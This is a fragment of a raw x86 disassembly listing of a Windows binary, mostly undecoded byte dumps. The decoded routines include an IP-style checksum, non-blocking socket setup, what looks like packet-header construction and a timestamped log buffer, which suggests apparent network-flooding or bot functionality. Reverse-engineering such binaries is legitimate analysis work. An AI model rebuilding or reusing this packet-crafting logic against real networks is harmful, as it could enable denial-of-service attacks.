		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB80h, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DDC68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8C68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2BBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB868FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0DAE89000h, 2B0226C2h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57868h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69D0E9E8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EECh, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22BB8BCh, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360DCh, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608C68h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60486850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601C68FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57868ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0DEE890FCh, 2B0226BDh, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB868h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2C68500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 3468004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 34685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 32E890FFh, 2B0226B7h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 224BE87h
		dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436150
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43613C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27700F5h
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43619C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436188
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361CC
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361B0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

